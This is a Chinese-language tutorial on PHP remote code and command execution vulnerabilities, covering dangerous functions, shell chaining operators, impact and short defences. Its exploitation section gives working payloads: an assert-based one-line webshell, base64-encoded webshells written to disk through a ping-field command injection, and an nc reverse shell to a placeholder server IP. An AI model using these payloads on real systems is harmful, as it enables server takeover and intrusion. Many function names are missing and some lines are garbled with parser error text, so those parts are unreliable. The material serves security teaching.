2023-11-08 分類: 網站建設
RCE漏洞
1.原理
原因:
應用程序沒有嚴格檢查和過濾用戶輸入,導致用戶輸入的參數作為命令執行。一般分為代碼執行和命令執行。
漏洞點:
1. 代碼中有命令執行功能,可以控制輸入參數
2. 代碼中有代碼執行功能,可以控制輸入參數
3.網站存在歷史漏洞(網站本身,各種組件)
2.使用2.1.代碼執行
概述:
由于業務需求php代碼執行漏洞,有時需要調用一些函數來執行pHp中的命令php代碼執行漏洞,如:eval()、()、()、()等,如果有函數使用這些函數,不檢查并過濾出用戶可以控制的參數,那么這個頁面就可能存在遠程代碼執行漏洞。小于php7的拼接后依然可以執行,但是eval不行。
2.1.1.eval 函數
eval($code) 將字符串代碼作為 pHp 代碼執行
注意:傳入eval()函數的參數必須是pHp代碼,即必須以分號結尾;
函數 eval() 語言結構非常危險,因為它允許執行任意 pHp 代碼。
不允許任何用戶提供的未經完全驗證的數據。
2.1.2.功能
($[, $])
檢查斷言是否為真。如果是字符串,則作為 pHp 代碼通過 () 執行。
注意:()函數將傳入的參數作為pHp代碼直接執行,不需要以分號結尾。
2.1.3.功能
($, $, $ [, int:'EOF', got'&' at 19: ...it = -1 [, int &? ]])
執行正則表達式搜索和替換,搜索要替換的匹配部分。
('規則規則','替換字符','目標字符')
pCRE修飾符e:()執行替換字符串的反向引用替換后,將替換字符串作為php代碼(eval函數方法)求值執行,執行結果作為實際參與替換的字符串。
2.1.4.功能
($, $ [, $…])
():返回數組,即對每個元素應用函數后的數組。函數參數的個數和傳遞給()的數組個數必須相同。對數組的每個元素應用回調函數
2.1.5.功能
($args, $code)
從傳遞的參數創建一個匿名函數并為其返回一個唯一的名稱。通常這些參數將作為單引號字符串傳遞。使用單引號的原因是為了保護變量名不被解析。否則,如果使用雙引號,則需要對變量名進行轉義,例如$avar。函數默認為 eval
2.1.6.功能
($[, $[, $…]])
第一個參數是要調用的回調函數,其余參數是回調函數的參數。調用第一個參數作為回調函數
2.1.7.功能
($, $):
調用第一個參數作為回調函數(),傳入參數數組作為()作為回調函數的參數。
2.1.8.功能
($[, $[, int $flag = 0 ]])
使用回調函數過濾數組中的元素;依次將數組中的每個值傳遞給函數。
2.1.9.雙引號
在php中,如果有雙引號中的變量,php解釋器會用變量解釋的結果來代替。單引號中的變量不會被處理,雙引號中的函數不會被執行或替換。
作為字符串執行:
echo "phpinfo()";
作為代碼執行:
echo "{${phpinfo()}}";
執行一句話木馬:
echo "${@assert($_pOST[a])}";
通過post數據將木馬寫入服務器
echo -n 'pD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+' | base64 -d > 111.php
2.2.命令執行
概述:
一般出現這種漏洞是因為應用系統需要為用戶提供指定的遠程命令操作接口。例如,在我們常見的路由器、防火墻、入侵檢測設備等的web管理界面上,一般都會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標Ip。提交后,后臺會對Ip地址進行ping測試并返回測試結果。但是,如果設計者在完成該功能時沒有實施嚴格的安全控制,可能會導致攻擊者通過該接口提交惡意命令在后臺執行,從而獲取后臺服務器的權限。
使用pHp的系統命令執行功能調用系統命令并執行。此類函數包括()、exec()、()、()、()、()、()等,除了反引號命令執行外,這種方式其實就是調用()函數來執行。
system():執行外部程序,并且顯示輸出;
exec():執行一個外部程序
shell_exec():通過 shell 環境執行命令,并且將完整的輸出以字符串的方式返回。
passthru():執行unix系統命令并且顯示原始輸出
pcntl_exec():在當前進程空間執行指定程序
popen():打開進程文件指針
proc_open():執行一個命令,并且打開用來輸入/輸出的文件指針。
2.2.1.exec 函數
exec (:'EOF', got'&' at 18:... [, &? [, int &$ ]])
執行外部程序,exec()執行參數指定的命令。
exec 在執行系統外部命令時不輸出結果,而是返回結果的最后一行。
如果要獲取結果,可以使用第二個參數將其輸出到指定的數組。此數組中的一條記錄代表一行輸出。
2.2.2.功能
(:'EOF', got'&' at 16: [, int &?])
該函數執行參數指定的命令并輸出執行結果。
與exec不同的是,在執行系統外部命令時,結果直接輸出到瀏覽器,如果命令執行成功則返回true,否則返回。
2.2.3.功能
(:'EOF', got'&' at 16: [, int &?])
執行外部程序并顯示原始輸出,類似于exec()函數,()函數也用于執行外部命令()。當執行的Unix命令輸出二進制數據,需要直接傳輸到瀏覽器時,需要用這個函數來代替exec()或()函數。
區別在于:直接將結果輸出到瀏覽器,不返回任何值,可以輸出二進制,比如圖片數據。第二個參數是可選的,是狀態碼。
";
echo $b;
?>
命令執行成功返回0,執行不成功返回1
2.2.4.功能
($cmd)
通過環境執行命令并以字符串形式返回完整的輸出。
此函數與執行運算符 (`) 相同
$output
"; echo `$cmd`; ?>
輸出是一樣的。
2.2.5. 命令執行常用特殊字符
cmd1|cmd2:無論cmd1是否執行成功,都會執行cmd2
cmd1; cmd2:無論cmd1是否執行成功,都會執行cmd2
cmd1||cmd2:只有在cmd1執行失敗時才執行cmd2
cmd1&&cmd2:cmd1執行成功后才執行
2.2.6.
寫:
127.0.0.1|echo "" > ./sys/1.php 雙引號會解析變量導致一句話木馬缺失,可以使用\轉義變量進行寫入 也可以使用單引號閉合
127.0.0.1|echo ""> ./sys/3.php
127.0.0.1|echo "pD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/pg==" | base64 -d > ./sys/2.php
nc反彈:
127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc 服務器ip 4444 > /tmp/pipe
nc lvvp 4444
3.傷害
1. 繼承Web服務程序執行系統命令或讀寫文件的權限
2. 反彈并獲得目標服務器的訪問權限
3. 進一步滲透內網
4.防御
1.盡量不要執行外部命令。
2.使用自定義函數或函數庫替換外部命令的函數。
3.使用 ||arg 函數處理命令參數。
4.使用指定的可執行文件的路徑(指定路徑的時候可以提前把要使用的命令放到這個路徑中)。
當前文章:pHp中RCE漏洞1.原理產生原因及解決辦法(圖)
文章路徑:http://newbst.com/news35/293135.html
成都網站建設公司_創新互聯,為您提供網站內鏈、網站營銷、網站策劃、App開發、Google、小程序開發
聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯
猜你還喜歡下面的內容